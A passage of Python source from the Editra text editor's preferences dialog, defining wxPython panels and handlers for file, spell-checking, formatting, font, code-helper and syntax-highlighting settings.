((5, 5), 0),\n (ed_i18n.LangListCombo(self, ed_glob.ID_PREF_LANG,\n Profile_Get('LANG')),\n 0, wx.ALIGN_CENTER_VERTICAL)])\n\n # Layout items\n sizer = wx.FlexGridSizer(11, 2, 5, 5)\n sizer.AddMany([((10, 10), 0), ((10, 10), 0),\n (wx.StaticText(self,\n label=_(\"Startup Settings\") + u\": \"),\n 0, wx.ALIGN_CENTER_VERTICAL), (msizer, 0),\n ((5, 5),), (psizer, 0),\n ((5, 5),), (reporter_cb, 0),\n ((5, 5),), (sess_cb, 0),\n ((5, 5),), (splash_cb, 0)])\n\n if isadmin:\n sizer.AddMany([((5, 5),), (chk_update, 0)])\n\n sizer.AddMany([((5, 5),), ((5, 5),),\n (wx.StaticText(self, label=_(\"Locale Settings\") + u\": \"),\n 0, wx.ALIGN_CENTER_VERTICAL), (lsizer, 0),\n ((10, 10), 0)])\n\n msizer = wx.BoxSizer(wx.HORIZONTAL)\n msizer.AddMany([((10, 10), 0), (sizer, 1, wx.EXPAND), ((10, 10), 0)])\n self.SetSizer(msizer)\n\n#-----------------------------------------------------------------------------#\n\nclass GeneralFilePanel(wx.Panel):\n \"\"\"Configuration panel for general file settings\"\"\"\n def __init__(self, parent):\n super(GeneralFilePanel, self).__init__(parent)\n\n # Attributes\n \n # Setup\n self._DoLayout()\n\n # Event Handlers\n self.Bind(wx.EVT_CHECKBOX,\n self.OnAutoBkup,\n id=ed_glob.ID_PREF_AUTOBKUP)\n self.Bind(wx.EVT_CHECKBOX,\n self.OnCustomBackupPath,\n id=ID_PREF_BKUP_LBL)\n self.Bind(wx.EVT_DIRPICKER_CHANGED,\n self.OnDirChange,\n id=ID_PREF_BKUP_PATH)\n self.Bind(wx.EVT_FILEPICKER_CHANGED,\n self.OnFileChange,\n id=ID_PREF_ENCHANT_PATH)\n\n def _DoLayout(self):\n # File settings\n fhsizer = wx.BoxSizer(wx.HORIZONTAL)\n fhsizer.AddMany([(wx.StaticText(self,\n label=_(\"File History Length\") + u\": \"),\n 0, wx.ALIGN_CENTER_VERTICAL), ((5, 5), 0),\n (ExChoice(self, ed_glob.ID_PREF_FHIST,\n choices=[str(val) for val in range(1, 10)],\n default=Profile_Get('FHIST_LVL', 'str')),\n 0, wx.ALIGN_CENTER_VERTICAL)])\n\n # Encoding options\n d_encoding = Profile_Get('ENCODING',\n 'str',\n default=ed_txt.DEFAULT_ENCODING)\n if d_encoding is None:\n d_encoding = 'utf-8'\n Profile_Set('ENCODING', d_encoding)\n d_encoding = encodings.normalize_encoding(d_encoding)\n\n enc_ch = ExChoice(self, ed_glob.ID_PREF_ENCODING,\n choices=util.GetAllEncodings(),\n default=d_encoding)\n enc_ch.SetToolTipString(_(\"Encoding to try when auto detection fails\"))\n enc_sz = wx.BoxSizer(wx.HORIZONTAL)\n enc_sz.AddMany([(wx.StaticText(self, label=_(\"Prefered Encoding\") + u\":\"),\n 0, wx.ALIGN_CENTER_VERTICAL), ((5, 5),), (enc_ch, 1)])\n\n autobk_cb = wx.CheckBox(self, ed_glob.ID_PREF_AUTOBKUP,\n _(\"Automatically Backup Files\"))\n bAutoBkup = Profile_Get('AUTOBACKUP', default=False)\n autobk_cb.SetValue(bAutoBkup)\n autobk_cb.SetToolTipString(_(\"Backup buffer to file periodically\"))\n bdir = Profile_Get('AUTOBACKUP_PATH', default=\"\")\n bkup_path_lbl = wx.CheckBox(self, ID_PREF_BKUP_LBL,\n label=_(\"Backup Path:\"))\n bkup_path_lbl.SetValue(bool(bdir))\n bkup_path = wx.DirPickerCtrl(self, ID_PREF_BKUP_PATH,\n path=bdir,\n style=wx.DIRP_CHANGE_DIR|wx.DIRP_USE_TEXTCTRL)\n bkup_path.SetToolTipString(_(\"Used to set a custom backup path. \"\n \"If not specified the backup will be \"\n \"put in the same directory as the file.\"))\n bkup_path_lbl.Enable(bAutoBkup)\n bkup_path.Enable(bAutoBkup)\n bkup_p_sizer = wx.BoxSizer(wx.HORIZONTAL)\n bkup_p_sizer.AddMany([(bkup_path_lbl, 0, wx.ALIGN_CENTER_VERTICAL),\n ((5, 5), 0),\n (bkup_path, 1, wx.ALIGN_CENTER_VERTICAL|wx.EXPAND)])\n win_cb = wx.CheckBox(self, ed_glob.ID_NEW_WINDOW,\n _(\"Open files in new windows by default\"))\n win_cb.SetValue(Profile_Get('OPEN_NW'))\n pos_cb = wx.CheckBox(self, ed_glob.ID_PREF_SPOS,\n _(\"Remember File Position\"))\n pos_cb.SetValue(Profile_Get('SAVE_POS'))\n chkmod_cb = wx.CheckBox(self, ed_glob.ID_PREF_CHKMOD,\n _(\"Check if on disk file has been \"\n \"modified by others\"))\n chkmod_val = Profile_Get('CHECKMOD', default=True)\n chkmod_cb.SetValue(chkmod_val)\n autorl_cb = wx.CheckBox(self, ed_glob.ID_PREF_AUTO_RELOAD,\n _(\"Automatically reload files when \"\n \"changes are detected on disk\"))\n autorl_cb.SetValue(Profile_Get('AUTO_RELOAD', default=False) and chkmod_val)\n autorl_cb.Enable(chkmod_val)\n eolwarn_cb = wx.CheckBox(self, ed_glob.ID_PREF_WARN_EOL,\n _(\"Warn when mixed eol characters are detected\"))\n eolwarn_cb.SetValue(Profile_Get('WARN_EOL', default=True))\n\n # Layout items\n sizer = wx.FlexGridSizer(11, 2, 5, 5)\n sizer.AddMany([((10, 10), 0), ((10, 10), 0),\n (wx.StaticText(self, label=_(\"File Settings\") + u\": \"),\n 0, wx.ALIGN_CENTER_VERTICAL), (enc_sz, 0),\n ((5, 5),), (fhsizer, 0),\n ((5, 5),), (autobk_cb, 0),\n ((5, 5),), (bkup_p_sizer, 1, wx.EXPAND),\n ((5, 5),), (win_cb, 0),\n ((5, 5),), (pos_cb, 0),\n ((5, 5),), (chkmod_cb, 0),\n ((5, 5),), (autorl_cb, 0),\n ((5, 5),), (eolwarn_cb, 0),\n ((10, 10), 0)])\n\n # Spellchecking settings\n spell_dicts = stcspellcheck.STCSpellCheck.getAvailableLanguages()\n sbox = wx.StaticBox(self, label=_(\"Spell Checking\"))\n sboxsz = wx.StaticBoxSizer(sbox, wx.VERTICAL)\n sprefs = Profile_Get('SPELLCHECK', default=dict())\n auto_cb = wx.CheckBox(self, id=ID_PREF_AUTO_SPELL,\n label=_(\"Check spelling while typing\"))\n auto_cb.SetValue(sprefs.get('auto', False))\n dict_ch = wx.Choice(self, id=ID_PREF_SPELL_DICT, choices=spell_dicts)\n sdict = sprefs.get('dict', 'en_US')\n if sdict in spell_dicts:\n dict_ch.SetStringSelection(sdict)\n sdh_sz = wx.BoxSizer(wx.HORIZONTAL)\n dlbl = wx.StaticText(self, label=_(\"Dictionary\") + u\":\")\n sdh_sz.AddMany([(dlbl, 0, wx.ALIGN_CENTER_VERTICAL),\n ((5, 5), 0),\n (dict_ch, 1, wx.ALIGN_CENTER_VERTICAL|wx.EXPAND)])\n sboxsz.AddMany([(auto_cb, 0), ((5,5),0), (sdh_sz, 0, wx.EXPAND)])\n\n if not stcspellcheck.STCSpellCheck.isEnchantOk():\n for ctrl in (auto_cb, dict_ch, dlbl):\n ctrl.Enable(False)\n\n liblbl = wx.StaticText(self, label=_(\"Enchant Path\") + u\":\")\n libpath = os.environ.get('PYENCHANT_LIBRARY_PATH', '')\n prefpath = sprefs.get('epath', libpath)\n libpicker = wx.FilePickerCtrl(self, ID_PREF_ENCHANT_PATH,\n path=libpath,\n message=_(\"Path to libenchant\"))\n libpicker.SetToolTipString(_(\"Path to libenchant\"))\n lib_hsz = wx.BoxSizer(wx.HORIZONTAL)\n lib_hsz.AddMany([(liblbl, 0, wx.ALIGN_CENTER_VERTICAL),\n ((5, 5), 0),\n (libpicker, 1, wx.ALIGN_CENTER_VERTICAL|wx.EXPAND)])\n sboxsz.AddMany([((5, 5), 0), (lib_hsz, 0, wx.EXPAND)])\n\n vsizer = wx.BoxSizer(wx.VERTICAL)\n vsizer.AddMany([(sizer, 1, wx.EXPAND),\n ((5,5),0), (sboxsz, 0, wx.EXPAND),\n ((10,10),0)])\n\n msizer = wx.BoxSizer(wx.HORIZONTAL)\n msizer.AddMany([((10, 10), 0), (vsizer, 1, wx.EXPAND), ((10, 10), 0)])\n self.SetSizer(msizer)\n\n def OnAutoBkup(self, evt):\n \"\"\"Enable/Disable the backup path controls\n The profile is updated by L{GeneralPanel} so the event must be skipped\n\n \"\"\"\n blbl = self.FindWindowById(ID_PREF_BKUP_LBL)\n if blbl:\n e_obj = evt.GetEventObject()\n val = e_obj.GetValue()\n blbl.Enable(val)\n dpick = self.FindWindowById(ID_PREF_BKUP_PATH)\n bpath = Profile_Get('AUTOBACKUP_PATH', default=\"\")\n dpick.SetPath(bpath)\n if not val:\n dpick = self.FindWindowById(ID_PREF_BKUP_PATH)\n dpick.Enable(False)\n evt.Skip()\n\n def OnCustomBackupPath(self, evt):\n \"\"\"Enable the use of a custom backup path\"\"\"\n e_obj = evt.GetEventObject()\n eval = e_obj.GetValue()\n dpick = self.FindWindowById(ID_PREF_BKUP_PATH)\n if not eval:\n dpick.SetPath(u\"\")\n Profile_Set('AUTOBACKUP_PATH', u\"\")\n dpick.Enable(eval)\n\n def OnDirChange(self, evt):\n \"\"\"Update the backup directory path\"\"\"\n path = evt.GetPath().strip()\n bpath = Profile_Get('AUTOBACKUP_PATH', default=\"\")\n if bpath != path:\n Profile_Set('AUTOBACKUP_PATH', path)\n\n def OnFileChange(self, evt):\n \"\"\"Update enchant path and attempt to reload enchant if necessary\"\"\"\n path = evt.GetPath().strip()\n sprefs = Profile_Get('SPELLCHECK', default=dict())\n cpath = sprefs.get('epath', u'')\n if path != cpath:\n try:\n ok = stcspellcheck.STCSpellCheck.reloadEnchant(path)\n except OSError:\n ok = False\n\n if ok:\n # Reload was successful\n sprefs['epath'] = path\n Profile_Set('SPELLCHECK', sprefs)\n else:\n wx.MessageBox(_(\"Failed to load Enchant\"),\n _(\"Library Error\"),\n wx.OK|wx.ICON_ERROR)\n\n#-----------------------------------------------------------------------------#\n\nclass DocumentPanel(wx.Panel, PreferencesPanelBase):\n \"\"\"Creates a panel with controls for Editra's editing settings\n @summary: Contains a wx.Notebook that contains a number of pages with\n setting controls for how documents are handled by the\n ed_stc.EditraStc text control.\n\n \"\"\"\n def __init__(self, parent, style=wx.BORDER_SUNKEN):\n \"\"\"Create the panel\n @param parent: Parent window of this panel\n\n \"\"\"\n wx.Panel.__init__(self, parent, style=wx.BORDER_SUNKEN)\n PreferencesPanelBase.__init__(self)\n\n def _DoLayout(self):\n \"\"\"Do the layout of the panel\n @note: Do not call this after __init__\n\n \"\"\"\n sizer = wx.BoxSizer(wx.HORIZONTAL)\n nbook = wx.Notebook(self)\n nbook.AddPage(DocGenPanel(nbook), _(\"General\"))\n nbook.AddPage(DocCodePanel(nbook), _(\"Code\"))\n nbook.AddPage(DocSyntaxPanel(nbook), _(\"Syntax Highlighting\"))\n sizer.AddMany([((10, 10), 0), (nbook, 1, wx.EXPAND), ((10, 10), 0)])\n msizer = wx.BoxSizer(wx.VERTICAL)\n msizer.AddMany([(sizer, 1, wx.EXPAND), ((10, 10), 0)])\n self.SetSizer(msizer)\n\n def GetSize(self):\n \"\"\"Get the size of the panel\n @return: wx.Size\n\n \"\"\"\n sz = wx.Panel.GetSize(self)\n return wx.Size(sz[0] + 35, sz[1])\n\nclass DocGenPanel(wx.Panel):\n \"\"\"Panel used for general document settings in the DocumentPanel's\n notebook.\n @summary: Panel with controls for setting the general attributes of\n how a document is managed.\n\n \"\"\"\n ID_FONT_PICKER = wx.NewId()\n ID_FONT_PICKER2 = wx.NewId()\n\n def __init__(self, parent):\n \"\"\"Create the panel\n @param parent: Parent window of this panel\n\n \"\"\"\n super(DocGenPanel, self).__init__(parent)\n\n # Layout\n self._DoLayout()\n self.SetAutoLayout(True)\n\n # Event Handlers\n self.Bind(wx.EVT_CHECKBOX, self.OnUpdateEditor)\n self.Bind(wx.EVT_CHOICE, self.OnUpdateEditor)\n self.Bind(eclib.EVT_FONT_CHANGED, self.OnFontChange)\n\n def _DoLayout(self):\n \"\"\"Layout the controls\n @note: Do not call this after __init__\n\n \"\"\"\n # Format Section\n tabsz = wx.BoxSizer(wx.HORIZONTAL)\n tabsz.AddMany([(wx.StaticText(self, label=_(\"Tab Width\") + u\": \"),\n 0, wx.ALIGN_CENTER_VERTICAL), ((5, 5), 0),\n (ExChoice(self, ed_glob.ID_PREF_TABW,\n choices=['2','3','4','5','6','7','8','9','10'],\n default=Profile_Get('TABWIDTH', 'str')), 0,\n wx.ALIGN_CENTER_VERTICAL)])\n\n indentsz = wx.BoxSizer(wx.HORIZONTAL)\n indentsz.AddMany([(wx.StaticText(self, label=_(\"Indent Width\") + u\": \"),\n 0, wx.ALIGN_CENTER_VERTICAL), ((5, 5), 0),\n (ExChoice(self, ed_glob.ID_PREF_INDENTW,\n choices=['2','3','4','5','6','7','8','9','10'],\n default=Profile_Get('INDENTWIDTH', 'str')), 0,\n wx.ALIGN_CENTER_VERTICAL)])\n\n at_cb = wx.CheckBox(self, ed_glob.ID_PREF_AUTOTRIM,\n _(\"Automatically trim whitespace on save\"))\n at_cb.SetValue(Profile_Get('AUTO_TRIM_WS', 'bool', False))\n ut_cb = wx.CheckBox(self, ed_glob.ID_PREF_TABS,\n _(\"Use Tabs Instead of Spaces\"))\n ut_cb.SetValue(Profile_Get('USETABS', 'bool', False))\n bsu_cb = wx.CheckBox(self, ed_glob.ID_PREF_UNINDENT,\n _(\"Backspace Unindents\"))\n bsu_cb.SetValue(Profile_Get('BSUNINDENT', 'bool', True))\n\n eolsz = wx.BoxSizer(wx.HORIZONTAL)\n\n # NOTE: order must be kept insync with vals in ed_glob, ed_stc\n eolmode = ExChoice(self, ed_glob.ID_EOL_MODE,\n choices=[_(\"Old Macintosh (\\\\r)\"), _(\"Unix (\\\\n)\"),\n _(\"Windows (\\\\r\\\\n)\")])\n eolmode.SetSelection(Profile_Get('EOL_MODE'))\n\n eolsz.AddMany([(wx.StaticText(self,\n label=_(\"Default EOL Mode\") + u\": \"),\n 0, wx.ALIGN_CENTER_VERTICAL), ((5, 5), 0),\n (eolmode, 0, wx.ALIGN_CENTER_VERTICAL)])\n\n # View Options\n aa_cb = wx.CheckBox(self, ed_glob.ID_PREF_AALIAS, _(\"AntiAliasing\"))\n aa_cb.SetValue(Profile_Get('AALIASING'))\n seol_cb = wx.CheckBox(self, ed_glob.ID_SHOW_EOL, _(\"Show EOL Markers\"))\n seol_cb.SetValue(Profile_Get('SHOW_EOL'))\n sln_cb = wx.CheckBox(self, ed_glob.ID_SHOW_LN, _(\"Show Line Numbers\"))\n sln_cb.SetValue(Profile_Get('SHOW_LN'))\n sws_cb = wx.CheckBox(self, ed_glob.ID_SHOW_WS, _(\"Show Whitespace\"))\n sws_cb.SetValue(Profile_Get('SHOW_WS'))\n ww_cb = wx.CheckBox(self, ed_glob.ID_WORD_WRAP, _(\"Word Wrap\"))\n ww_cb.SetValue(Profile_Get('WRAP'))\n ww_cb.SetToolTipString(_(\"Turn off for better performance\"))\n vs_cb = wx.CheckBox(self, ed_glob.ID_PREF_VIRT_SPACE,\n _(\"View Virtual Space After Last Line\"))\n vs_cb.SetValue(Profile_Get('VIEWVERTSPACE', default=False))\n vs_cb.SetToolTipString(_(\"Adds extra scrolling room after last line\"))\n\n # Font Options\n fnt = Profile_Get('FONT1', 'font', wx.Font(10, wx.FONTFAMILY_MODERN,\n wx.FONTSTYLE_NORMAL,\n wx.FONTWEIGHT_NORMAL))\n fpick = eclib.PyFontPicker(self, DocGenPanel.ID_FONT_PICKER, fnt)\n fpick.SetToolTipString(_(\"Sets the main/default font of the document\"))\n fnt = Profile_Get('FONT2', 'font', wx.Font(10, wx.FONTFAMILY_SWISS,\n wx.FONTSTYLE_NORMAL,\n wx.FONTWEIGHT_NORMAL))\n fpick2 = eclib.PyFontPicker(self, DocGenPanel.ID_FONT_PICKER2, fnt)\n fpick2.SetToolTipString(_(\"Sets a secondary font used for special \"\n \"regions when syntax highlighting is in use\"))\n\n # Layout\n sizer = wx.FlexGridSizer(20, 2, 5, 5)\n sizer.AddGrowableCol(1, 1)\n sizer.AddMany([((10, 10), 0), ((10, 10), 0),\n (wx.StaticText(self, label=_(\"Format\") + u\": \"),\n 0, wx.ALIGN_CENTER_VERTICAL), (at_cb, 0),\n ((5, 5), 0), (ut_cb, 0),\n ((5, 5), 0), (bsu_cb, 0),\n ((5, 5), 0), (tabsz, 0),\n ((5, 5), 0), (indentsz, 0),\n ((5, 5), 0), (eolsz, 0),\n ((10, 10), 0), ((10, 10), 0),\n (wx.StaticText(self, label=_(\"View Options\") + u\": \"),\n 0), (aa_cb, 0),\n ((5, 5), 0), (seol_cb, 0),\n ((5, 5), 0), (sln_cb, 0),\n ((5, 5), 0), (sws_cb, 0),\n ((5, 5), 0), (ww_cb, 0),\n ((5, 5), 0), (vs_cb, 0),\n ((10, 10), 0), ((10, 10), 0),\n (wx.StaticText(self, label=_(\"Primary Font\") + u\": \"),\n 0, wx.ALIGN_CENTER_VERTICAL),\n (fpick, 1, wx.EXPAND),\n (wx.StaticText(self, label=_(\"Secondary Font\") + u\": \"),\n 0, wx.ALIGN_CENTER_VERTICAL),\n (fpick2, 1, wx.EXPAND),\n ((10, 10), 0), ((10, 10), 0)])\n msizer = wx.BoxSizer(wx.HORIZONTAL)\n msizer.AddMany([((10, 10), 0), (sizer, 1, wx.EXPAND), ((10, 10), 0)])\n self.SetSizer(msizer)\n\n @staticmethod\n def OnFontChange(evt):\n \"\"\"Handles L{eclib.EVT_FONT_CHANGED} from the font controls\"\"\"\n e_id = evt.GetId()\n if e_id in [DocGenPanel.ID_FONT_PICKER, DocGenPanel.ID_FONT_PICKER2]:\n font = evt.GetValue()\n if not isinstance(font, wx.Font) or font.IsNull():\n return\n\n if e_id == DocGenPanel.ID_FONT_PICKER:\n Profile_Set('FONT1', font, 'font')\n else:\n Profile_Set('FONT2', font, 'font')\n\n for main in wx.GetApp().GetMainWindows():\n for stc in main.nb.GetTextControls():\n stc.SetStyleFont(font, e_id == DocGenPanel.ID_FONT_PICKER)\n stc.UpdateAllStyles()\n else:\n evt.Skip()\n\n @staticmethod\n def OnUpdateEditor(evt):\n \"\"\"Update any open text controls to reflect the changes made in this\n panel from the checkboxes and choice controls.\n @param evt: Event that called this handler\n\n \"\"\"\n # XXX Why when running on windows this and other imports randomly\n # become None. I have been unable to reproduce this behavior myself\n # but have received enough error reports about it to believe it.\n # If they were actually NoneTypes the dialog would not be able to\n # be shown so this is very strange!!\n global ed_glob\n if ed_glob is None:\n import ed_glob\n\n e_id = evt.GetId()\n if e_id in [ed_glob.ID_PREF_TABS, ed_glob.ID_PREF_TABW,\n ed_glob.ID_PREF_UNINDENT, ed_glob.ID_EOL_MODE,\n ed_glob.ID_PREF_AALIAS, ed_glob.ID_SHOW_EOL,\n ed_glob.ID_SHOW_LN, ed_glob.ID_SHOW_WS,\n ed_glob.ID_WORD_WRAP, ed_glob.ID_PREF_AALIAS,\n ed_glob.ID_PREF_INDENTW, ed_glob.ID_PREF_AUTOTRIM,\n ed_glob.ID_PREF_VIRT_SPACE ]:\n\n e_value = evt.GetEventObject().GetValue()\n if e_id == ed_glob.ID_EOL_MODE:\n e_value = evt.GetEventObject().GetSelection()\n\n Profile_Set(ed_glob.ID_2_PROF[e_id], e_value)\n\n # Do updates for everything but autotrim whitespace\n if e_id not in (ed_glob.ID_PREF_AUTOTRIM, ):\n wx.CallLater(25, DoUpdates)\n else:\n evt.Skip()\n\n#----------------------------------------------------------------------------#\n\nclass DocCodePanel(wx.Panel):\n \"\"\"Panel used for programming settings\n @summary: Houses many of the controls for configuring the editors features\n that are related to programming.\n\n \"\"\"\n def __init__(self, parent):\n \"\"\"Create the panel\n @param parent: Parent window of this panel\n\n \"\"\"\n super(DocCodePanel, self).__init__(parent)\n\n # Layout\n self._DoLayout()\n self.SetAutoLayout(True)\n\n # Event Handlers\n self.Bind(wx.EVT_CHECKBOX, self.OnCheck)\n self.Bind(wx.EVT_CHOICE, self.OnCheck)\n self.Bind(wx.EVT_SPINCTRL, self.OnSpin)\n\n def _DoLayout(self):\n \"\"\"Layout the page\n @note: Do not call this after __init__\n\n \"\"\"\n # General Section\n dlex_ch = ExChoice(self, ed_glob.ID_PREF_DLEXER,\n choices=syntax.GetLexerList(),\n default=Profile_Get('DEFAULT_LEX',\n default=\"Plain Text\"))\n dlex_ch.SetToolTipString(_(\"Default highlighing for new documents\"))\n dlex_sz = wx.BoxSizer(wx.HORIZONTAL)\n dlex_sz.AddMany([(wx.StaticText(self, label=_(\"Default Lexer\") + u\": \"),\n 0, wx.ALIGN_CENTER_VERTICAL), ((3, 3),),\n (dlex_ch, 0, wx.ALIGN_CENTER_VERTICAL)])\n\n # Visual Helpers Section\n vis_lbl = wx.StaticText(self, label=_(\"Visual Helpers\") + u\": \")\n br_cb = wx.CheckBox(self, ed_glob.ID_BRACKETHL,\n _(\"Bracket Highlighting\"))\n br_cb.SetValue(Profile_Get('BRACKETHL'))\n fold_cb = wx.CheckBox(self, ed_glob.ID_FOLDING, _(\"Code Folding\"))\n fold_cb.SetValue(Profile_Get('CODE_FOLD'))\n edge_cb = wx.CheckBox(self, ed_glob.ID_SHOW_EDGE, _(\"Edge Guide\"))\n edge_cb.SetValue(Profile_Get('SHOW_EDGE'))\n edge_sp = wx.SpinCtrl(self, ed_glob.ID_PREF_EDGE,\n Profile_Get('EDGE', 'str'), min=0, max=160)\n edge_sp.SetToolTipString(_(\"Guide Column\"))\n edge_col = wx.BoxSizer(wx.HORIZONTAL)\n edge_col.AddMany([(edge_cb, 0, wx.ALIGN_CENTER_VERTICAL),\n ((10, 5), 0), (edge_sp, 0, wx.ALIGN_CENTER_VERTICAL)])\n hlcaret_cb = wx.CheckBox(self, ed_glob.ID_HLCARET_LINE,\n _(\"Highlight Caret Line\"))\n hlcaret_cb.SetValue(Profile_Get(\"HLCARETLINE\"))\n ind_cb = wx.CheckBox(self, ed_glob.ID_INDENT_GUIDES,\n _(\"Indentation Guides\"))\n ind_cb.SetValue(Profile_Get('GUIDES'))\n\n # Input Helpers\n comp_cb = wx.CheckBox(self, ed_glob.ID_AUTOCOMP, _(\"Auto-Completion\"))\n comp_cb.SetValue(Profile_Get('AUTO_COMP'))\n compex_cb = wx.CheckBox(self, ed_glob.ID_PREF_AUTOCOMPEX,\n _(\"Extended Auto-Comp\"))\n compex_cb.SetValue(Profile_Get('AUTO_COMP_EX'))\n compex_cb.Enable(comp_cb.GetValue())\n compex_cb.SetToolTipString(_(\"Warning suggestions will include\"\n \" context insensitive results\"))\n compex_sz = wx.BoxSizer(wx.HORIZONTAL)\n compex_sz.AddMany([((16, -1), 0), (compex_cb, 0)])\n ai_cb = wx.CheckBox(self, ed_glob.ID_AUTOINDENT, _(\"Auto-Indent\"))\n ai_cb.SetValue(Profile_Get('AUTO_INDENT'))\n vi_cb = wx.CheckBox(self, ed_glob.ID_VI_MODE, _(\"Enable Vi Emulation\"))\n vi_cb.SetValue(Profile_Get('VI_EMU'))\n vi_ncb = wx.CheckBox(self, ed_glob.ID_VI_NORMAL_DEFAULT,\n _(\"Start in Normal Mode\"))\n vi_ncb.SetValue(Profile_Get('VI_NORMAL_DEFAULT'))\n vi_ncb.Enable(vi_cb.GetValue())\n vi_ncb_sz = wx.BoxSizer(wx.HORIZONTAL)\n vi_ncb_sz.AddMany([((16, -1), 0), (vi_ncb, 0)])\n\n # Layout the controls\n sizer = wx.FlexGridSizer(15, 2, 5, 5)\n sizer.AddMany([((10, 10), 0), ((10, 10), 0),\n (wx.StaticText(self, label=_(\"General\") + u\": \"),\n 0, wx.ALIGN_CENTER_VERTICAL), (dlex_sz, 0),\n ((10, 10), 0), ((10, 10), 0),\n (vis_lbl, 0), (br_cb, 0),\n ((5, 5), 0), (fold_cb, 0),\n ((5, 5), 0), (edge_col, 0, wx.ALIGN_CENTER_VERTICAL),\n ((5, 5), 0), (hlcaret_cb, 0),\n ((5, 5), 0), (ind_cb, 0),\n ((10, 10), 0), ((10, 10), 0),\n (wx.StaticText(self, label=_(\"Input Helpers\") + u\": \"),\n 0), (comp_cb, 0),\n ((5, 5), 0), (compex_sz, 0),\n ((5, 5), 0), (ai_cb, 0),\n ((5, 5), 0), (vi_cb, 0),\n ((5, 5), 0), (vi_ncb_sz, 0),\n ((10, 10), 0), ((10, 10), 0)])\n msizer = wx.BoxSizer(wx.HORIZONTAL)\n msizer.AddMany([((10, 10), 0), (sizer, 1, wx.EXPAND), ((10, 10), 0)])\n self.SetSizer(msizer)\n\n def OnCheck(self, evt):\n \"\"\"Handles the events from this panels check boxes\n @param evt: wx.CommandEvent\n\n \"\"\"\n e_id = evt.GetId()\n if e_id in (ed_glob.ID_BRACKETHL, ed_glob.ID_SHOW_EDGE,\n ed_glob.ID_INDENT_GUIDES, ed_glob.ID_FOLDING,\n ed_glob.ID_AUTOCOMP, ed_glob.ID_AUTOINDENT,\n ed_glob.ID_PREF_EDGE, ed_glob.ID_VI_MODE,\n ed_glob.ID_VI_NORMAL_DEFAULT,\n ed_glob.ID_PREF_DLEXER, ed_glob.ID_HLCARET_LINE,\n ed_glob.ID_PREF_AUTOCOMPEX):\n\n e_val = evt.GetEventObject().GetValue()\n\n # Update Profile\n Profile_Set(ed_glob.ID_2_PROF[e_id], e_val)\n\n # Make ui adjustments\n meth = None\n args = list()\n if e_id == ed_glob.ID_SHOW_EDGE:\n spin = self.FindWindowById(ed_glob.ID_PREF_EDGE)\n if spin is not None:\n spin.Enable(e_val)\n elif e_id == ed_glob.ID_AUTOCOMP:\n cbox = self.FindWindowById(ed_glob.ID_PREF_AUTOCOMPEX)\n if cbox is not None:\n cbox.Enable(e_val)\n elif e_id == ed_glob.ID_VI_MODE:\n cbox = self.FindWindowById(ed_glob.ID_VI_NORMAL_DEFAULT)\n if cbox is not None:\n cbox.Enable(e_val)\n\n if e_id == ed_glob.ID_PREF_AUTOCOMPEX:\n return\n\n # Inform views of preference changes\n wx.CallLater(25, DoUpdates, meth, args)\n else:\n evt.Skip()\n\n @staticmethod\n def OnSpin(evt):\n \"\"\"Catch actions from a slider\n @param evt: wx.SpinEvent\n\n \"\"\"\n e_id = evt.GetId()\n if e_id == ed_glob.ID_PREF_EDGE:\n val = evt.GetEventObject().GetValue()\n Profile_Set(ed_glob.ID_2_PROF[e_id], val)\n\n for mainw in wx.GetApp().GetMainWindows():\n for stc in mainw.nb.GetTextControls():\n stc.SetEdgeColumn(val)\n else:\n evt.Skip()\n\n#----------------------------------------------------------------------------#\n\nclass DocSyntaxPanel(wx.Panel):\n \"\"\"Document syntax config panel\n @summary: Manages the configuration of the syntax highlighting\n of the documents in the editor.\n\n \"\"\"\n def __init__(self, parent):\n \"\"\"Inialize the config panel\n @param parent: parent window of this panel\n\n \"\"\"\n super(DocSyntaxPanel, self).__init__(parent)\n\n # Attributes\n self._elist = ExtListCtrl(self)\n self._elist.SetMinSize((425, 200))\n\n # Layout page\n self._DoLayout()\n self.SetAutoLayout(True)\n\n # Event Handlers\n self.Bind(wx.EVT_BUTTON, self.OnButton)\n self.Bind(wx.EVT_CHECKBOX, self.OnSynChange)\n self.Bind(wx.EVT_CHOICE, self.OnSynChange)\n\n def _DoLayout(self):\n \"\"\"Layout all the controls\n @note: Do not call this after __init__\n\n \"\"\"\n sizer = wx.BoxSizer(wx.VERTICAL)\n\n # Syntax Settings\n syn_cb = wx.CheckBox(self, ed_glob.ID_SYNTAX, _(\"Syntax Highlighting\"))\n syn_cb.SetValue(Profile_Get('SYNTAX'))\n ss_lst = util.GetResourceFiles(u'styles', get_all=True)\n ss_lst = [sheet for sheet in ss_lst if not sheet.startswith('.')]\n syntheme = ExChoice(self, ed_glob.ID_PREF_SYNTHEME,\n choices=sorted(ss_lst),\n default=Profile_Get('SYNTHEME', 'str'))\n line = wx.StaticLine(self, size=(-1, 2))\n lsizer = wx.BoxSizer(wx.VERTICAL)\n lsizer.Add(line, 0, wx.EXPAND)\n lst_lbl = wx.StaticText(self, label=_(\"Filetype Associations\") + u\": \")\n\n # Layout the controls\n hsizer = wx.BoxSizer(wx.HORIZONTAL)\n hsizer.AddMany([(syn_cb, 0, wx.ALIGN_LEFT|wx.ALIGN_CENTER_VERTICAL),\n ((5, 5), 1, wx.EXPAND),\n (wx.StaticText(self, label=_(\"Color Scheme\") + u\": \"),\n 0, wx.ALIGN_LEFT|wx.ALIGN_CENTER_VERTICAL),\n (syntheme, 0, wx.EXPAND), ((5, 5), 0)])\n\n sizer.AddMany([((15, 15), 0), (hsizer, 0, wx.EXPAND),\n ((5, 5), 0), (lsizer, 0, wx.EXPAND),\n ((15, 15), 0), (lst_lbl, 0, wx.ALIGN_LEFT)])\n\n hsizer2 = wx.BoxSizer(wx.HORIZONTAL)\n hsizer2.AddMany([((5, 5), 0), (self._elist, 1, wx.EXPAND), ((5, 5), 0)])\n\n default_btn = wx.Button(self, wx.ID_DEFAULT, _(\"Revert to Default\"))\n if wx.Platform == '__WXMAC__':\n default_btn.SetWindowVariant(wx.WINDOW_VARIANT_SMALL)\n sizer.AddMany([((10, 10), 0), (hsizer2, 1, wx.EXPAND), ((15, 15), 0),\n (default_btn, 0, wx.ALIGN_LEFT), ((10, 10), 0)])\n\n msizer = wx.BoxSizer(wx.HORIZONTAL)\n msizer.AddMany([((5, 5), 0), (sizer, 1, wx.EXPAND), ((5, 5), 0)])\n self.SetSizer(msizer)\n\n def OnButton(self, evt):\n \"\"\"Reset button handler\n @param evt: Event that called this handler\n\n \"\"\"\n if evt.GetId() == wx.ID_DEFAULT:\n syntax.ExtensionRegister().LoadDefault()\n self._elist.UpdateExtensions()\n else:\n evt.Skip()\n\n @staticmethod\n def 